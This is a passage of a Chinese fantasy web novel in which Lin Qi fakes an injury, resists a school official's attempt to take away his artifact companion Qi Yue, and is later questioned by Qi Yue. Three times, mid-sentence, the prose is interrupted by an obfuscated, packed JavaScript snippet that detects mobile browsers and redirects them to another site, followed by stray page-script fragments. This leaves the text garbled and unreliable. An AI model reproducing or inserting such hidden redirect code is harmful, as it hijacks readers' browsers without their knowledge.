结束之后,几个工作人员找到林栖,跟他说:“第二阶段会在祈院礼堂进行,仪式是一对一的,开始之前要先进行一次沐浴净化,需要你带一身没穿过的浴袍,如果没有就找老师登记一下,这边会给你准备。” 沐浴净化…… 林栖伪造伤口用的颜料虽然防水,但也经不起在澡堂里泡。 林栖拆开绷带,直接给他们看了伤口,“我昨天只是摔了一下。” 伤口在手臂外侧,呈斑块状,只蹭破了一点皮,周围涂着一层浅红色的药水,旁边带着一大片磕碰出的淤青,明显不是怪物挠出来的。 特意净化确实多此一举。 工作人员劝道:“最好还是净化一下,你现在身上有伤,完全符合净化条件,而且这次机会难得,你知道外面有多少人排着队的想找祈院净化?” 林栖安静听着,一脸乖巧,心里想的却是——既然机会这么难得,伪造伤口也就有理由了,万一暴露也能狡辩一下。 林栖那双深黑澄澈的眼睛微微弯起弧度,仰头看着工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643462|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作人员,声音很糯很轻,“那还是把机会留给有需要的人吧,我没事,真的,已经不疼了,谢谢老师关心。” 工作人员笑得一脸慈爱,忍着上手摸摸头的冲动,感叹:“哎,真是个好孩子,真懂事,那我也不多说了,你记得按时上药,洗澡小心一点,尽量别碰到水。” “嗯,我知道了。” 工作人员走后,林栖重新给自己包上绷带,包着包着,忍不住朝旁边看了一眼,果然对上一双深红色的眼睛。 祈越站在一旁,目光淡淡笼罩在他身上,神色颇有一些意味深长,像一只吃饱的猫,正盯着小老鼠在自己面前努力挖洞。 猫只要抬一抬爪,就能把小老鼠“吱”的一声按扁,却又实在懒得动弹。 林栖已经做了心理准备,但被人围观演戏还是有点尴尬。 沉默中,他蜷起脚趾,在鞋子里磨了磨他的老鼠爪子。 几分钟后,生活老师把他和祈越一起带到行政区二号楼的一间办公室,按之前说的去做造物登记。 进门之后,生活老师介绍道:“这位是教务处的小潘老师,具体问题他会跟你说的。” 百叶窗将阳光切成一片一片。 小潘老师坐在办公桌后,推了一下眼镜,面貌斯文,笑容和煦,“林栖是吧?过来坐,我先跟你简单说明一下情况。” 身后传来“咔哒”一声关门声响,像是盖上了一只盒子,空气顿时有些发闷。 林栖回头看了一眼,生活老师出去了,所以这个登记要花很长时间? 他走到桌前坐下,又回头看了一眼,祈越站在一进门的位置,身上没有动作,脸上没有表情,像根门柱子一样竖在那里。 如果可以的话,林栖也很想当个门柱。 桌面传来轻微响动,小潘老师笑得眉眼弯弯,“终于让我见到你了,之前就听几位老师说起过你,那天补考,你把几位考官都难住了,谁也没想到你会带着顶级造物过来。” 这段话里出现了四个“你”字,每说一次,林栖头顶就仿佛多出一盏聚光灯,明晃晃地照着他的一举一动。 他本能地往后撤了撤身,显得坐姿格外笔直。 小潘老师隔着镜片,朝祈越看了看,把一个蓝色文件夹推到林栖面前,又伸手替他翻开。 “也难怪你会引起轰动,顶级造物确实非常稀有,几乎每一件都被官方记录在册,就算是私人藏品,官方也会安排修复师进行定期维护,你这件造物近期找人维护过吗?” 林栖摇了摇头。 小潘老师在工作本上记了一笔,“没关系,刚入学的时候总是很忙的,确实兼顾不到,专业的事情还是要交给专业的人来处理,这些学校以后会安排的。” 专业的人?安排什么? 林栖眼睫微动,抬起视线看他。 小潘老师微笑着,态度亲昵温和,“你才刚满十二岁,对很多东西可能还不了解,确实,对考试本身来说,顶级造物只是一种入学手段,考试结束就没用了。” “——但实际上,每一件顶级造物都有百年以上历史,像这样的‘文物’,即使放在博物馆里,也要经过专业维护才能长久流传下去,更别说是学校这种环境,每天上课下课,人来人往,难保不会出现意外。” 林栖捏了捏手指,隐约有种不太好的预感。 果然,紧接着,这位好脾气的小潘老师就道:“如果不小心损坏了顶级造物,不管对个人、对院系、对学校,乃至对历史传承,都是一种难以挽回的损失——所以经过几番斟酌,校方决定,请你将这件造物暂时交给专业人士保管。” 小潘老师扶了一下眼镜,站起身来,隔着桌面微微倾身,姿态优美地做了一个请的动作,四指并拢指向文件夹—— “这是相关文件,你看一下,如果没有问题,就在最后一页签名。” 25. 第 25 章 林栖睫毛微垂,视线落在摊开的文件上,安静不动,不知在想什么。 小潘老师叫了一声,“林栖?怎么了,有什么问题吗?” 男孩儿缓缓抬起视线,抿起的嘴唇嗫嚅一动,轻轻吐出四个字:“暂时保管?” “对,只是暂时的。”小潘老师笑着打开抽屉,拿出一支瓷釉描金的钢笔,拔开笔帽,在一旁试了试墨水是否流畅,将它递给林栖,“就用这支写吧。” 钢笔直接递到面前,像一支细长的导-弹悬空停着。 林栖从膝盖上抬起手,轻轻捏着笔杆接过,盯着金色的笔尖看了片刻,又伸手过去,从小潘老师面前拿起笔帽,把钢笔盖好了放在文件夹上。 他整个人都像是网络延迟,每个动作都有种慢半拍的迟缓。 小潘老师在对面看着,张了张嘴,又闭上,手指在桌上无声一敲,脸上笑容更暖,语气也愈发柔和,像是一颗奶糖在太阳底下晒化了,散发出小孩子都喜欢的甜香。 “是不喜欢这支笔么?那我帮你换一支好不好?” 林栖轻轻摇头,一双黑漉漉的眼睛看着他问:“暂时是几天呢?我周末还要回家。” “哈~”小潘老师咳嗽似的笑了一声,“不是几天,期限要看具体情况,学校主要是为了安全考虑。等以后,你有了足够的专业知识,可以独立照管顶级造物之后,校方就会把它原样归还给你。” “只不过为了避免一些不必要的纠纷,在保管期间,造物会以转让形式进行交接,具体情况都写在协议里了,你可以先看一下。” 林栖垂下目光,长长的睫毛在眼底投下阴影,片刻,他指着文件夹道:“我看不懂。” 小潘老师立刻倾身向前,“嗯?哪里不懂?” 林栖的手指尖横向划过那些文字,温吞的语气透着一点不好意思,“都看不懂,我不识字……” 空气静了一瞬。 接着就听祈越在后面笑了一声。 林栖唇角微微一僵,很快速地眨了下眼。 小潘老师像是面膜在脸上敷干了,笑容有些开裂,“这样啊……确实你才刚入学,还没开始上基础课,也很正常,没关系,我可以念给你听。” 林栖低着头,两只手捏在一起,有些紧张地搓着手指,“这件事一定很重要吧?关系到个人、院系、学校、历史传承……” 他顿了顿,“这么重要的事……但我只是一个小朋友,而且不识字,是个……嗯……文盲,您就算念给我听,我也不懂。” 听到他自称小朋友和文盲,小潘老师眼皮微微一跳,后知后觉,自己好像小看了这个小东西。本打算随便糊弄一下让他把字签了,直接把顶级造物扣下,现在看来是不行了。 小潘老师唇边笑意向下拧了一下,又拧回去。 “这也是学校所担心的,你年纪太小,又刚入学,身边带着这样的造物,一来太过招摇,二来无法约束,如果真的因为造物闹出什么乱子,不止你自己要担责任,你的监护人也要跟着担责任。现在学校提出这个方案,其实也是为了保护你。 林栖抬头看他,微微歪着脑袋,眼睛弯起一点漂亮弧度,“学校真好~” 小潘老师嘴角向两边扯了扯,和煦的笑容像是被轮子碾过,稍显扁平,“其实现在已经有家长向我们投诉了,他们觉得让一个刚入学的新生带着这种造物很不安全。” 他语调依然温和,眼神却像在看疑犯,“林栖,我问你,你能百分之百保证不会出问题吗?只要你带着这件造物,不管以后出了什么状况,任何状况,都是你的责任。你觉得你能承担这个后果吗?如果能的话,你也可以只签一份责任保证书。” 林栖看着自己的手,反正他今天是什么字也不会签的。非要继续纠缠的话,他也可以假装连名字都不会写。 这时就听身后传来脚步声响。 祈越走到桌前,抬脚将一张凳子勾到林栖旁边,直接跟他并肩坐下。 林栖下意识用目光量了量,他的手肘和祈越的手肘之间距离只有十几公分。 按祈越那个生人勿近的脾气,他现在就算是一胳膊扎在仙人掌上了。 脑补一下还挺疼的。 林栖默默把胳膊往里收了收。 祈越双手交叉支在桌面,抬起一双深红色的眼睛,唇边挂着一点不冷不热的笑,“小潘老师是么?不知道你在教务处担任什么职务?” 小潘老师没想到自己还需要和一件造物对话,笑了一声调整语气,“我是学籍管理科的主任,有什么问题吗?” “嗯,好,潘主任。”祈越视线朝他身上一扫,“你的工牌和工作证呢?” 潘主任表情微微一僵,略显疲惫地揉了揉额头,“昨天为了这件事忙到半夜,才睡了三个小时,今天出门忘记带了。” 祈越有些遗憾地笑了一下,起身道:“既然这样,那你还是赶紧洗洗睡吧,我们就不打扰了。” 林栖慢半拍地跟着起身。 潘主任忙道:“等等,我们现在还没谈完。” “谈什么?”祈越反手把林栖往自己身后拽了一下,淡淡开口—— “校规第三百三十二条:行政人员在工作期间,须按规定佩戴工牌,并在以下场合主动出示工作证件: (一)代表校方对学生作出正式处罚决定时; (二)代表校方处理与学生或其家长之间的法律事务时; (三)代表校方与学生或其家长签订具有法律效力的合同或协议时。” 林栖在旁边听着他说,头顶缓缓浮起问号。 好官方,听起来不像假的。 但是怎么会这么真? 祈越什么时候看过校规? 祈越:“潘主任,你们教务处就不需要守校规吗?” 潘主任在心里暗骂,他们教务处还从来没被人从这种角度找过茬。 校规三百三十二?好一个三百三十二!有零有整! 先不说这条校规到底是不是这样写的,就算真是,这种鸡毛蒜皮的规定也没人遵守。 对面纯粹拿着鸡毛当令箭。 他当然可以拿出工牌和证件,让对方无话可说,但是凭什么呢? 这件事本来就是上面要做人情,选在今天这个时间点,也是想趁着大家都在关注怪物,先弄一个既成事实。 等林栖反应过来,八成是要找他们后账的,大概率还要应付观沄。想想也知道,骗林栖签协议只是最简单的一步,后面还有的扯皮。 他只是帮忙跑个腿,好处轮不到他,真要出了什么状况却有可能让他背锅。 “学校”两个字是虚的,但他本人可是实的,怎么可能把证件拿出来,给对方树个找后账的靶子? 潘主任在心中权衡利弊,笑着咬了咬牙,目光越过这个不好惹的造物看向林栖。 “你看,就像我说的,你能控制好这件造物吗?能约束得了它的言行举止吗?它刚说的这些话,是你授意让它说的吗?” 授意不了。 别说针对行政人员的校规了,林栖拿到的“学生手册”只有薄薄一本,而且还看不懂,他现在对校规的了解仅限于最基础的衣食住行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643463|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,在对方提出这个问题时,林栖其实有点想认下来,因为祈越这话确实是替他说的。 这位潘主任说,他要为造物行为负责,也不是没有道理。 但是…… “你在听我说话吗?”潘主任已经有些没耐心了。 林栖含混地“嗯……”了一声,一边敷衍,一边想着那个“但是”—— 祈越应该不太乐意被他“负责”。 “林栖,你现在是在质疑学校的决定吗?你能为自己的言行负责吗?”潘主任双手撑着桌面,一脸笑意咄咄逼人。 就在这时,房门忽然“砰”的一声开了,走廊里的凉风吹了一丝进来,莫名有种闹鬼般的阴森。 潘主任脸色一变,接着干笑一声:“许院长,您怎么来了?” 许慎行鬼魂似的站在门口,朝林栖招了招手,示意他和祈越站到自己身后,薄薄的眼皮一抬,“我还没死呢,要一个学生负什么责?” 潘主任依然笑着,“是这样的,许院长,学校认为,你的学生带着顶级造物存在安全隐患。 “安全隐患——”许慎行笑了,嗓音格外阴沉,“看来你想跟我聊聊昨晚那些怪物?来,说说看,在整个学城防护最严密的中心区,怪物是怎么进来的?这算不算安全隐患?现在该由谁来负责?” “许院长别生气啊,这是两码事,我也只是传达校方决议。” 许慎行扭头对林栖道,“以后如果这些狗屎再叫你来,理都别理,谁找你,你就让他直接找我,我习惯了,不怕屎臭,别把你们这些小孩儿熏着。” 林栖眨了眨眼。 “真是太臭了!”许慎行一手捂着鼻子,一手朝林栖摆摆,“赶紧走赶紧走——” 林栖向外走出几步,回头就见许慎行反手关了门,声音隔着门板传出,“学校扯着狗屁幌子倒卖造物不是第一次了,哟呵,这还有合同呢?” 倒卖? 林栖忽然想起那句“价钱不是问题”,紧接着又想,那祈越以前被人倒卖过吗? 他有没有像个物件一样,被一个陌生人买回来收藏、鉴赏,又在腻了之后挂上价签,转卖到另外一个陌生人的手上。 对祈越来说,他也是这样一个陌生人吧。 走出行政楼,临近正午的阳光当头浇下,在台阶上泼出一片明晃晃的暑气。 对面楼上玻璃反光,祈越略微偏头,刚好林栖也眯着眼睛躲了一下,两人对上视线,距离不到半米,林栖能看清阳光在红色瞳孔中晕染开的细节。 楼与楼之间忽然一阵风过,把林栖头发吹得向后掀起,他眯眼低头,晃了一下脑袋,再抬头时,祈越已经往前走了几步,跟他又拉开了一米距离。 林栖走在后面,真正想问的问题问不出口,但又很想说点什么,于是道:“你说的那条校规,是真的吗?” 祈越顿住脚步,反问:“我说是真的你就信吗?就算把校规原文拿给你看,你能看得懂吗?文盲。” 林栖:“……” 他忽然又不想说话了,在文盲之余,还打算做个哑巴。 片刻静默中,忽然听到远处传来一阵骚动,几个学生扎堆站在树下—— “我就知道,连学校都不安全,外面肯定更乱,果然就出事了!我听周老师说,死了好多……” “怎么了怎么了?” “哪里哪里?哪里出事儿?” “哪个城区?别吓我啊,我家在下城区……” 林栖站在阳光下,忽然觉得身上一阵发冷。 那外城区呢? 观沄还安全吗? 26. 第 26 章 关于外面的消息很乱很杂。 林栖想到了凌壑,去驯院找人没找到,回去却发现凌壑就在自己门口,旁边还围了一圈学生。 凌壑穿着黑底滚银边的驯院制服,一副好皮囊配上大长腿,站在孩子堆里十分惹眼。 “没有消息就是好消息。”凌壑对那些学生说,“院里已经跟你们家里联系过了,截止到目前为止,都没事,如果还不放心,就去找院长开条,自己回家看看。” 学生都是住在这一层的驯院新生,听凌壑说完,有人支支吾吾地问:“现在回去能安全吗?” “肯定没有留在学校安全。”凌壑说着,视线一抬,看见林栖来了,笑着眨了下眼,直接把学生晾在一边,朝他走了过来。 林栖见他一脸轻松,飘忽的心情忽然就安定了不少。 凌壑走到林栖面前,直接把那一堆零食朝他怀里一塞,“封校了,妈妈来不了,只能爸爸先来看你。” 在走廊里说话自带回音,他这句话更是仿佛一只巨大号的弹力球,一落地就蹦跶着到处乱撞,落到每一只等着听八卦的耳朵里。 空气静了一瞬,接着整条走廊上的所有人同时看向林栖,眼珠子瞪得一个比一个圆。 林栖几乎能看到嗡嗡的感叹号和问号在天上飞,走廊里是不能说话了,他开门进屋,直到关好房门,都觉得门缝里还卡着一堆问号。 凌壑直接道:“不用担心观沄,他这人吧,只要不是自己找死,就没什么伤得了他。” 林栖点了下头,又觉得这话听着有些不对。 凌壑继续道:“封校只是出门麻烦,也不是不能出,下午我到外面办事,晚上不回学校,刚好回家去看妈妈。明天差不多中午回来,到时候我在楼下等你,一起吃个午饭。” 林栖迟疑着,点了下头。 他不想和凌壑一起吃饭,但很想知道观沄的消息。 凌壑忽然伸手,在林栖头顶揉了一下,问:“怪物吓不吓人?” 林栖默默往旁边移开两步,拨弄着被揉乱的头发,“我没看清。” 凌壑指着他手上的绷带,“那这是?” “摔了一跤。”林栖熟练解释。 凌壑“哦”了一声,“来都来了,刚好帮你上个药吧,回头妈妈问起来,也好跟他有个交代,否则他怪我没把孩子养好,要跟我离婚可怎么办?” “我自己上过药了。”林栖试图拒绝。 “上药嘛,又不是吃饭,不用按顿来,多上几次好得快。”凌壑在屋里左右打量,“你药箱呢?” 林栖下意识扫了一眼抽屉又连忙收回视线,低头看脚。 凌壑眉梢微挑,“在抽屉里?那我直接拿了?” 林栖还没想好怎么抗议,旁边祈越视线就朝他扫了过来,对凌壑道:“婉拒你都听不出来?人家有洁癖,可不愿意让你上药。” 凌壑本来就是在逗林栖,闻言捂住心口,一脸老父亲很受伤的表情,“宝宝~这是真的吗?你连爸爸也嫌弃吗?” 林栖被他这声“宝宝”叫得头皮发麻,如果他是只刺猬,现在身上的刺肯定已经全部立起来了。 凌壑幽幽叹了一声,“看来是真的嫌弃,算了,老父亲也不招你烦,那就不上药了,我看一眼,回去好跟你妈交差。” 他知道林栖身上有保护咒,但不确定它对侵蚀是否有效。 两边僵持片刻,林栖还是拆开绷带给他看了。 凌壑看到伤口时,摸着下巴“哦”了一声,一个音节硬是凹出了在波浪线上打滚的效果。 画得真是不错。 如果不是提前知道,他也看不出来这是假的。 晚饭过后,学校在生活区的小广场上安排了一节常识安全课,讲解校内安防系统,以及面对突发状况时的紧急避险措施。 讲解老师特意提到,学校里的应急场馆很多,比如这次出事的校史馆本身就是一个,主体额外增加延性结构且经过咒师处理,即使遭遇严重损毁,也能维持基本功能。 简单来说,建筑内部嵌了一张大网,可以兜底,就算天花板被扎成筛子也不会掉下来砸死学生。 学生们在下面议论: “我天,那要是换个地方我就被砸死了?” “怪物真会挑地方。” “那我们公寓楼里有这个吗?” …… 课程结束已经快九点了。 林栖住的七楼实际等于八楼,爬到最后,他整个人都有点恍惚,仿佛脑子半路掉在楼梯上了。 进门时,他看到祈越像之前一样坐在桌边,习惯性地以为他在看书,回头关好房门,再看过去,才发现哪里不对。 祈越手里没拿书,面朝房门坐着,似乎是在等他回来。 林栖的身体惯性和想法有些不同步,只是看了对面一眼就收回视线,蹲下换好鞋子再站起来,才发现祈越还在看他。 怎么了? 一点疑问刚刚冒头,就听祈越开口:“坐吧,有点事想问你。” 林栖的第一反应就是:出什么事了? 祈越正常说话不是这种语气。 是又有怪物?还是学校来找麻烦? 房门和书桌的对角线上有张座椅,靠背朝向房门,和祈越隔着一米多的距离。 林栖走过去坐下,等着祈越开口,下意识想捏手指上的创可贴,可惜没有摸到。 祈越看着他,目光却没有落在实处,仿佛他是一张照片,而不是一个真人。 林栖等了漫长的两三秒钟,祈越终于开口:“那天在书塔,陷阱里,你看到了什么?” 林栖在心里做了许多预设,却完全没想到,话题会突然跳到书塔。 他问:“为什么要问这个?” 祈越回答:“因为当时没问。” 林栖:“……” 他想问的就是这个。 为什么当时没问现在要问?隔了那么长时间,是书塔又出了什么事吗? 祈越视线略微抬起一些,看向林栖双眼,目光依然平静,却像是无波的水面,看不出深浅。下面可能是一弯溪流,也可能是无底深渊。 祈越重复之前的问题:“陷阱里是什么?” 林栖恍然有种错觉,周围忽然静了下来,似乎整个房间沉在水底,与世隔绝,除了他和祈越之外没有别人。 在这种安静无打扰的环境下,他什么都不用考虑,只需要专心回答这个很简单的问题。 思绪回到补考那天中午,仿佛能闻到烈日炙烤下的青草香。 林栖目光向远处放空,语速比平时稍慢,“是一个房间。” “现在描述一下这个房间,你看到到了什么?”祈越的声音像是隔着一层水幕传来。 “一张床,很软,然后睡衣、枕头、抱枕……”林栖顺着记忆向前摸索,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岐岄缓缓阖上双眼,不再看他。 充斥在每一声心跳中的混乱念头逐渐褪去,世界重归黯淡沉寂。 许久,他听到林栖在椅子上动了动,发出一点极细微的衣料摩擦声响。 他重新睁开眼睛,看向自己此时的手。 一双很干净的人手,没有丝毫异化痕迹。 “第二个问题。”他平静道,“你从哪里学的古语?” 仿佛一只无形的沙漏终于漏完了所有的沙,林栖动了一下手指,逐渐清醒过来。 他有一种很莫名的违和感,直觉自己状态有点不对。 刚说过的话现在回想起来已经有些模糊,且那些话不像正常回答问题,而像在说梦话,完全不经思考。 他看向祈越。 祈越正垂眸看着自己右手,冷白修长的手指并拢前伸,片刻,左手轻轻捏住右手小指,令它与另外几指分开少许距离,露出指根处的署名。 这个动作有种很微妙的怪异感,仿佛这只手不是他自己的,他只是在摆弄一个物件。 林栖忽然找到了违和感的源头。 祈越有点不太对劲。 27. 第 27 章 寂静中响起了沉闷的敲门声。 一声,两声,到第三声时,忽然变得清脆生动。房间里那种无形的沉闷也随之消散。 林栖起身开门。 走廊里的空气随着开门的动作卷起一道旋涡,香甜的奶油味扑面而来。 乐贤穿着一身蓝白格子睡衣站在门口,手里捧着一盒8寸生日蛋糕,上面用巧克力酱写着“生日快乐!”,已经切了一角,剩下的形状像是一个大号的吃豆人,感叹号下面的圆点就是它的眼睛。 旁边还站着一个造院新生,名叫沐夏,像只站直了的水獭,戴黑框眼镜,不说话时有一点呆,一笑就露出两颗洁白锃亮的虎牙。 林栖在课上见过他,但不算认识。 乐贤率先开口:“林栖,晚上好,我们一起吃蛋糕。” 他像个发条娃娃,一圈发条只够说一句话,说完就把自己摆在那里一声不吭。 林栖有点懵,空气微妙地静了一瞬,沐夏立刻补上空缺,两颗小虎牙在走廊灯下闪了闪,“别怕别怕,不是来找你要生日礼物的,这个不是生日蛋糕。” 他道:“本来都吃饱了,结果安全讲座搞半天,又饿了,这是餐厅卖剩下的,半价,我们就买了,打算一人一块,这边这一块是你的。” 蛋糕表面已经提前画了分割线,每一块都让甜点师傅用巧克力酱做了标记,沐夏指的那块写着个“林”,旁边那块写了个“姜”。 林栖习惯性地想要婉拒,但看着那个歪扭扭的“林”字,又默默地没有出声。 这不是顺便拿过来的,而是特意带给他的。 “我们切一下啊。”沐夏朝屋里探了探头,顿时更像一只水獭,“用一下桌子,抱着不好切,万一砸地上就完蛋了。” 林栖来不及表达同意或者反对,两人已经护着蛋糕进了房间。 乐贤把蛋糕抱到书桌一角,从沐夏手里接过餐刀,瞪着一双浅棕色的大眼睛,认准那个“林”字,开始切蛋糕。 他下刀的动作异常小心,仿佛在给蛋糕做手术,生怕一不留神就把蛋糕当场切死。 沐夏在旁边端着盘子打下手,视线不停在蛋糕和书桌对面游移。 林栖发现,他在偷瞄祈越。沐夏好像也发现自己被发现了,但只是讨好地朝林栖笑笑,然后继续偷瞄。 蛋糕切好,沐夏把它装进盘里,推了一下眼镜,目光隔着镜片停在祈越身上,开始明目张胆地瞧。 片刻,他问:“你吃蛋糕吗?我们这边多了一块。” 林栖下意识在心里预判祈越会怎么回答,干巴巴的两个字:不吃。 然后他就听到祈越说:“谢谢,不用。” 比脑补中的客气,语气也和平时不太一样。 不是错觉,祈越果然有点不对。 “啊没事没事,不用客气。” 沐夏好像完成任务似的松了口气,笑着朝林栖露出两颗友好的小虎牙,“我住705,就是隔壁的隔壁,有空来找我玩儿啊。很少能碰到有人姓林,就……挺稀罕的。” 他说话时,眼睛亮闪闪的,仿佛这个“林”字是星星月亮,本身就会发光,而姓林也是一件很美好的事情。 林栖没见过这种反应,忍不住朝他多看了一眼。 沐夏笑得更灿烂了,“蛋糕趁热,哦不趁凉吃,等下奶油化了不好吃了。” 林栖接过蛋糕,点了下头。 “那……那就这样吧,你慢慢吃,我们继续去送温暖……不对,送凉爽了,哈,哈哈。”沐夏后退着往门口走,嘴巴又张了张,像是挖空心思还想说点什么,但又憋不出来。 到门口时,他忽然道:“记住,是705,隔壁的隔壁,有事你来找我,都是一个院的,不用客气。” 乐贤站在门口挥手,“林栖再见,明天见。” 他挥手的动作让林栖想到了音乐盒上的跳舞小人儿。 林栖怕他得不到回应会在门口一直挥下去,于是也朝他挥了挥手,“明天见。” 送走两人,关好房门,林栖又回到了之前的难题里,要面对一个不正常的祈越。 他目不斜视,不看祈越,也不管这人是不是在看自己,把凳子挪到桌角,一边吃蛋糕一边思考。 唔……奶油很香。 ……嗯,自己其实有很多破绽。 自从怪物出现,他就像是一颗漏气的气球,一直都在试图修补漏洞,但是补不完,根本就补不完,反而好像越补越多…… 第一个漏洞:伤口。 祈越是看着他被怪物抓伤的,但一转眼,抓伤就变成了摔伤。 校医检查过一次,凌壑也看过一次,不巧这两次祈越都在场,只要稍微瞟他一眼,就能发现问题。 第二个漏洞:创可贴。 昨天受伤之后,他特意摘了创可贴,本来是想预防一下更糟糕的情况,万一被人看见伤口愈合,有创可贴是“惯犯”,没有则是“初犯”。 不过后来没人看见他的伤口,这个动作就变成了多此一举。 他不知道祈越有没有注意到创可贴,如果注意了,很容易就能发现他一直在伪装受伤。 第三个漏洞:古语。 如果只是一个漏洞还能解释,现在一堆凑在一起,气球漏气漏得都快变成喷气机了,实在是堵不住。 林栖借着吃蛋糕的动作咬了一下嘴唇。 问他古语,其实可以狡辩,创可贴算是“死无对证”,但假伤口就在胳膊上,是真的“人证物证齐全”。 现在唯一的希望就是,祈越别问。 林栖觉得,嘴里的蛋糕都不香了。 他慢吞吞地拖着时间,咽下最后一口奶油,又捧着杯子喝了点水,在心里默念:别问我别问我……变成哑巴,别问别问别问…… 祈越就是这时开口的。 林栖低头看着水杯里的倒影,听见他问:“昨晚,怪物出现之前,有没有什么异常状况?” 林栖怔了一下抬头,看到对面玻璃窗上自己的表情明显有些茫然。 问题为什么会突然跳到这里? 祈越问完,不等林栖回答就起身去拿药箱,放在桌上打开,从格子里依次取出几件外伤工具。 林栖顿时警觉。 稍稍往后一撤,就撞上了椅背,坚实的触感反推回来,像是铁笼上的栏杆,把退路堵得严严实实。 祈越站在桌前,手里拿着一支银色镊子,试了一下开合,确定能用,又将它放在一旁,转头看向林栖。 林栖眼神有一瞬间的躲闪,继而垂下视线,拖延性地重复道:“怪物出现之前……” 他想,当时一切正常,屏幕在放院系介绍,乐贤一口气吃了五片薯片,番茄味很明显……等等,好像还有别的。 林栖从记忆里捕捉到了一丝细节,说:“教室里有一股味道。” “形容一下。”祈越又朝他看了一眼。 “有点像……油漆。”林栖不太确定,校史馆内部陈列很有历史感,看不出有哪里重新刷过。他回忆着补充,“……和青草。就是那种修草坪的味道。” 在刚进校史馆的时候,他其实想起了福利院,当时没在意,现在回想,应该就是因为味道。 福利院每年夏末会做一次例行翻修,割草刷油漆,混在一起就是这种味道。 “你觉得,那个怪物像什么?”祈越继续问。 这个问题容易回答,林栖道:“像树,森林,有很多藤蔓。” “藤蔓和触角一样,主要功能都是探查而不是攻击。”祈越像是在说给自己听,边说边戴上一次性的医用手套,拧开一瓶医用酒精。 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林栖注意到一个细节,他问的不是为什么没有伤口,而是为什么假装受伤。 假装受伤也可以理解为本来就没受伤。 假装也可能只是为了博取关注。 一丝侥幸像是扎破窗纸时透入的光,让林栖忍不住地开始思考,也许祈越根本就没看见他受伤呢?当时环境很乱,而且祈越过来的时候,他已经把胳膊捂住了。 片刻,第二团药棉也落到了垃圾桶里,祈越拿纸巾擦拭镊子尖端,将它放回药箱,然后摘下手套,对林栖道:“找时间再画一个吧,对你来说应该不难。” 林栖心里顿时气成一只河豚,虽然不能动,但还是用力朝祈越瞪了一眼,然后他就后知后觉,自己好像可以动了。 因为觉得自己不能动,他也就没有收着力道,这次瞪人瞪得格外凶狠,连带着眼眶都有点发酸。 意识到这一点之后,他立刻眨了下眼,收回视线。 祈越目光朝旁边一指,道:“去洗一下。” 林栖看了一眼洗漱间,立刻起身,进去之后一把关上房门。 混蛋祈越把他的“画作”擦得尸骨无存,皮肤上只残留了一点酒精,稍微冲一下水,那种微带烧灼的紧绷感就没了。 林栖在洗手池前站了五分钟,然后打开门,待在门缝里,远远看向祈越。 祈越目光平静,“想好怎么解释了吗?” 林栖面无表情,语气冷硬:“没有。” “是谁给你下的保护咒?” 林栖心头乱跳,但维持住了面无表情,硬邦邦道:“不知道。” “你的父母呢?” “不太熟。” 空气静了几秒。 “知道了。”祈越说着,朝这边走了过来。 林栖瞬间紧张,用力抓住了房门把手。 等祈越走得近了,林栖才发现他的目标不是自己。 “我去查一点事。”祈越开门时顿了顿,像在斟酌措辞,“不用等我回来。” 房门关上,脚步声在走廊响起的同时,林栖听到了一声闷咳。 他面对着只剩自己一个人的房间,忽然想起了那天造物店里的情形。祈越拿着一本乌漆嘛黑的书,坐在一楼,说话时的语气也像今天一样,而且一直都在咳嗽。 当时他在心里说他有病,但现在想想,其实那一天的祈越也很不对劲,和之前之后都不一样…… 忽然,林栖睁大眼睛,心里蹦出四个大字:多重人格。 随即,他缓缓眨了下眼,瞳中透出些许清澈的茫然。 ……造物也有多重人格? 28. 第 28 章 当晚,直到睡前,林栖也没听见祈越回来。 第二天醒时,他从床边探出半个身子往阁楼上看,使劲听了一会儿动静,也不确定祈越是不是在。 上午还是公共课。 林栖是卡着时间到的,进门之前,先找了一下沐夏和乐贤在哪儿,然后选了一个离他们很远的位子坐下。 前天晚上他拿了乐贤的零食,昨天又吃了他们送的蛋糕,如果今天还坐在一起,那他们很快就会混熟,从独居动物变成群居动物。 林栖暂时还不想和任何同学混熟。 有一个祈越在身边,他已经被看出了各种漏洞,再加上这些同学,他马上就会变成一只漏勺…… 林栖头上仿佛有个“探测雷达”,可以感知热闹程度,每到一个新地方,总能在第一时间找到最僻静的位置,即使在几百人的阶梯教室也不例外。 今天他选的位置其实并不空旷,前后左右都有人,但如果测量全场分贝,这区域绝对能算闹中取静,在满屋十几岁的孩子中间,安静到有些沧桑,连气温都好像冷了几度。 林栖坐在最左侧挨着护栏,右手边空了三个座位,接着是四个学生,每人手里捧着一本书,正在低头默念,从嘴唇开合的频率到翻书的速度都几乎一模一样,坐在那里好似复制粘贴。 他们都是咒院新生,手里拿的不是普通的书,而是“媒介”,对新生来说,是施咒的必备工具,又称“咒书”。 